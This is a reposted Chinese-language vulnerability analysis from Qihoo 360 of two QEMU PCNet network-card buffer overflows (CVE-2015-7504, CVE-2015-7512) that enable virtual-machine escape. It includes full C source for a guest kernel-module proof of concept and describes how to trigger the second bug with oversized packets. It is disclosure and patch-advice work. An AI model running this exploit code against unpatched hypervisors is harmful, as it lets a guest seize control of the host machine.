逆天之路

你以什么眼光看世界,你的世界就是什么。你不相信什么,你的世界就没有什么....

Fork me on GitHub

您现在的位置是:首页>资讯> 当前文章

QEMU新虚拟机逃逸漏洞深入分析

作者:360 发布时间:2015-12-08 10:00 点击量:1770

分类: > 漏洞分析 > 安全系列/其他系列

  • 摘要

    11月30日14时,QEMU官方公开了两个由奇虎360云安全团队安全研究员--刘令(Ling Liu)独立发现并报告的缓冲区溢出漏洞,通用漏洞编号分别为CVE-2015-7504和CVE-2015-7512,两个漏洞均存在于QEMU所虚拟实现的AMD PC-Net II网卡组件。两个漏洞经过QEMU官方安全团队评估后确认可以造成“宿主机任意执行代码”。

    目前已经确认360安全云( https://cloud.360.cn )不受漏洞影响。

    北京时间2015年11月30日14时,QEMU官方公开了两个由奇虎360云安全团队安全研究员--刘令(Ling Liu)独立发现并报告的缓冲区溢出漏洞,通用漏洞编号分别为CVE-2015-7504和CVE-2015-7512,两个漏洞均存在于QEMU所虚拟实现的AMD PC-Net II网卡组件。两个漏洞经过QEMU官方安全团队评估后确认可以造成“宿主机任意执行代码”。

    目前已经确认360安全云( https://cloud.360.cn)不受漏洞影响。

    QEMU是由法布里斯�贝拉(Fabrice Bellard)所编写的以GPL许可证分发源码的模拟处理器。它可以模拟多款不同架构的CPU,还包含部分硬件模拟,包括软驱、显卡、并口、串口、声卡、网卡等,以提供基本的操作系统运行所需环境。其中QEMU所模拟的网卡种类较多,包括pcnet、ne2000、rtl8139、e1000等。

    http://p6.qhimg.com/t013cba12cde9ca66db.png

    本次公开的两个漏洞就存在于模拟pcnet网卡设备的代码中(源码路径:hw/net/pcnet.c)。受这两个漏洞影响的软件/项目包括使用pcnet组件的QEMU、Xen、QEMU-KVM等。

    http://p2.qhimg.com/t014e22a3fcc6c190c9.jpg

    http://p6.qhimg.com/t0189b9156344237c92.jpg

    CVE-2015-7504 漏洞分析


    简介

    今年10月,360云安全团队安全研究员--刘令(Ling Liu)向QEMU的安全团队提交了pcnet网卡模拟组件中的一个缓冲区溢出漏洞,经过确认后漏洞编号为CVE-2015-7504。该漏洞具备如下特性:

    1. 该漏洞可通过虚拟机发包直接触发,攻击构造条件难度中等

    2. 利用该漏洞可以直接控制CPU的指令指针寄存器(Intel X86体系为EIP或RIP),在未开启地址随机功能的宿主机系统上可以执行任意代码(即“虚拟机逃逸”)

    3. 配合特定反随机化技巧/漏洞攻击者可以在开启地址随机化保护功能的宿主操作系统上实现任意代码执行

    分析

    漏洞发生在pcnet网卡使用loopback/looptest模式接收数据时,会在接收到的数据尾部增加一个CRC校验码(长度4个字节),当发送包的大小刚好符合接收包设定的最大缓冲区大小(4096字节)时。在intel X86-64体系下附加的CRC校验码会覆盖掉所在的PCNetStae_st结构体后面的中断处理指针irq中的后4个字节,攻击者可以构造特定的CRC校验码来实现进一步的攻击利用。

    实际的漏洞数据大流程在pcnet的传输处理函数pcnet_transmit()中,该函数会从物理内存中载入将要发送的数据包的描述信息到一个被命名为tmd的结构体中(struct pcnet_TMD),

    http://p2.qhimg.com/t012ebb3b87da9be2d6.png

    再按照tmd.length的长度从物理内存中载入将要发送的数据包到PCNetStae_st结构体的buffer[4096]中。

    http://p6.qhimg.com/t01d03f39172d179bf1.png

    pcnet中虚拟机发送的数据包的长度bcnt最大值为4096,刚好与buffer的大小一致。

    http://p8.qhimg.com/t01676729e48b376edf.png

    通常情况下,发送4096字节长度的数据包不会发生溢出,但是pcnet支持looptest模式。当网卡中的CSR_LOOP被置位于looptest模式时,pcnet_transmit会调用pcnet_receive把要发送的数据包当作网卡接收到的数据包进行处理。

    http://p9.qhimg.com/t01fe6e53817ab2698f.png

    当网卡处于looptest模式时,pcnet_receive()函数会计算所收到的数据包的CRC值,并把CRC附加在数据包的后面,当数据包的长度为4096时,附加的4字节CRC值便会写在buffer[4096]的外面,产生了缓冲区溢出。

    http://p1.qhimg.com/t01c3a1d67a4c61fd6f.png

    溢出的4字节则会覆盖掉IRQState结构的指针,指向虚假的IRQState结构,

    http://p8.qhimg.com/t0105ce5a65b547bbe5.png

    在下一次qemu_set_irq()被调用时,便可控制EIP/RIP,改变程序的执行流程。

    http://p9.qhimg.com/t01e6c592afe0258ad9.png

    攻击内存布局大致如下:

    http://p0.qhimg.com/t01c3e1890e4915f7fd.png

    漏洞演示

    在虚拟机中编译PoC并加载内核模块,gdb中可看到s->irq被修改,这会导致执行流程的改变,可以成功控制s->irq->handler函数指针。

    http://p6.qhimg.com/t01b5765d76f8ad3094.png



    //
    // PoC CVE-2015-7504
    // written by LingLiu of Qihoo360 Cloud Security Team
    //
    #include
    #include
    #include
    #define PCNET           0xc000
    struct pcnet_TMD{
            unsigned int tbadr;
            signed short length;
            signed short status;
            unsigned int misc;
            unsigned int res;
    };
    struct pcnet_initblk32{
            unsigned short mode;
            unsigned char rlen;
            unsigned char tlen;
            unsigned short padr[3];
            unsigned short _res;
            unsigned short ladrf[4];
            unsigned int rdra;
            unsigned int tdra;
    };
    void write_rap(unsigned int val)
    {
            outl(val,0x14 PCNET);
    }
    void write_csr(unsigned int idx,unsigned int val)
    {
            write_rap(idx);
            outl(val,0x10 PCNET);
    }
    unsigned int read_csr(unsigned int idx)
    {
            write_rap(idx);
            return inl(0x10 PCNET);
    }
    void write_bcr(unsigned int idx,unsigned int val)
    {
            write_rap(idx);
            outl(val,0x1c PCNET);
    }
    unsigned int read_bcr(unsigned int idx)
    {
            write_rap(idx);
            return inl(0x1c PCNET);
    }
    void looptest_overflow(void)
    {
            unsigned char *vpacket;
            unsigned char *ppacket;
            unsigned char *vtmd;
            unsigned char *ptmd;
            unsigned char *vinitblk;
            unsigned char *pinitblk;
            struct pcnet_TMD *tmd;
            struct pcnet_initblk32 *initblk;
            unsigned int oldval;
            vpacket=(unsigned char *)kmalloc(4096,0);
            memset(vpacket,0xdd,4096);
            ppacket=(unsigned char *)virt_to_phys(vpacket);
            vtmd=(unsigned char *)kmalloc(sizeof(struct pcnet_TMD),0);
            ptmd=(unsigned char *)virt_to_phys(vtmd);
            vinitblk=(unsigned char *)kmalloc(sizeof(struct pcnet_initblk32),0);
            pinitblk=(unsigned char *)virt_to_phys(vinitblk);
            memset(vinitblk,0x0,sizeof(struct pcnet_initblk32));
            initblk=(struct pcnet_initblk32*)vinitblk;
            initblk->tlen=0;
            initblk->tdra=(unsigned int)ptmd;
            initblk->rdra=(unsigned int)ptmd;//just enable recv
            //pcnet_s_reset()
            inw(0x14 PCNET);
            //set CSR_SPND
            oldval=read_csr(5);
            write_csr(5,oldval|0x1);
            //set CSR_IADR
            write_csr(1,(unsigned int)pinitblk&0xffff);
            write_csr(2,(unsigned int)pinitblk>>16);
            //pcnet_init()
            write_csr(0,0x1);
            //set CSR_XMTRL=1
            write_csr(0,0x4);
            write_csr(78,0x1);
            //set CSR_LOOP
            oldval=read_csr(15);
            write_csr(15,oldval|0x4);
            oldval=read_csr(15);
            //set CSR_PROM
            oldval=read_csr(15);
            write_csr(15,oldval|0x8000);
            //set BCR_SWSTYLE=1
            oldval=read_bcr(20);
            write_bcr(20,1 (oldval&~0xff));
            //clear CSR_SPND
            oldval=read_csr(5);
            write_csr(5,oldval&~0x1);
            //pcnet_start()
            write_csr(0,0x2);
            tmd=(struct pcnet_TMD*)vtmd;
            tmd->tbadr=(unsigned int)ppacket;
            tmd->length=0xf000;//packet length = 4096
            tmd->status=0x8300;
            tmd->misc=0x0;
            tmd->res=0x0;
            //pcnet_transmit()
            write_csr(0,0x8);
    }
    int init_module(void)
    {
            looptest_overflow();
            return 0;
    }
    void cleanup_module(void)
    {
    }


    攻击视频:



    CVE-2015-7512


    简介

    今年9月,360云安全团队安全研究员--刘令(Ling Liu)向QEMU的安全团队提交了pcnet网卡模拟组件中的一个缓冲区溢出漏洞,经过确认后漏洞编号为CVE-2015-7504。该漏洞具备如下特性:

    1. 该漏洞在虚拟机收到数据包时直接触发,攻击构造条件难度中低

    2. 虚拟机所处环境需确保pcnet网卡能够接收到QEMU传递过来的大于4096长度的数据包。

    3. 利用该漏洞可以直接控制CPU的指令指针寄存器(Intel X86体系为EIP或RIP),在未开启地址随机功能的宿主机系统上可以执行任意代码(即“虚拟机逃逸”)

    4. 配合特定反随机化技巧/漏洞攻击者可以在开启地址随机化保护功能的宿主操作系统上实现任意代码执行

    分析

    在配置了pcnet网卡的虚拟机启动时,pcnet_common_init会将pcnet_receive注册为该网卡收到数据包时的处理函数。当网卡收到数据包时,qemu_deliver_packet()会调用pcnet_receive,并传入数据包所在地址和大小。在网卡不为looptest模式时,pcnet_receive直接将数据包复制到PCNetState结构体的buffer[4096]中。

    http://p3.qhimg.com/t01f99ec626bbf8bb25.png

    然而当网卡收到的数据包的长度大于4096时,超出的数据便会覆盖PCNetState结构中的irq、phys_mem_read、dma_opaque等。

    http://p7.qhimg.com/t01155170e90da5d691.png

    攻击内存布局大致如下:

    http://p0.qhimg.com/t01b0b3f38d523705c6.png

    触发途径

    由于系统中MTU的限制,通常的数据包长度不会达到4096以上。那么至少在以下两种情况下可以触发此漏洞:

    配置pcnet的guest使用tap方式启动,该tap在host端的MTU要大于4096,则可由host发送大数据包即可触发漏洞。

    guest启动时配有pcnet、e1000双网卡且处于同一vlan中,guest中e1000网卡的MTU要大于4096,则在guest中,通过e1000发送大数据包即可触发漏洞。

    漏洞演示

    启动qemu时pcnet为tap方式,配置IP使host与guest处于同一网段。在host端通过该tap发送raw packet给pcnet网卡。gdb中显示s->irq、s->phys_mem_write等值被覆盖,当s->phys_mem_write被使用时,便可控制RIP,改变程序的执行流程。

    http://p4.qhimg.com/t01adbe52416029db01.gif

    PoC

    发送raw packet可使用https://gist.github.com/austinmarton/1922600

    实际的攻击视频:

    漏洞防护方案


    QEMU官方已经针对受以上两个漏洞影响的版本给出了补丁,请使用pcnet模块的QEMU-KVM或Xen平台用户,尽快选择对应的补丁进行安全升级。

    http://xenbits.xen.org/xsa/

    http://wiki.qemu.org/Main_Page

    目前确认360云不受此次漏洞影响。


    技术参考


    1. https://gist.github.com/austinmarton/1922600

    2. https://code.google.com/p/google-security-research/issues/detail?id=395


    关于360云


    360云成立于2014年12月31日,以“让企业安全用云”为使命,致力成为企业首选的安全云平台服务提供商。

    360云将聚焦提供安全的云计算服务,凝聚资源隔离、数据加密、安全加固等数十种安全防护手段,打造行业第一安全云。

    360云结合自身业务,发挥其在互联网领域的技术优势,为用户提供公有云、私有云服务,以及游戏云、视频直播云、智能云等行业解决方案。

    本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
    本文地址:http://bobao.360.cn/learning/detail/2280.html

关键字词  网络  渗透  360BBS

 

毒逆天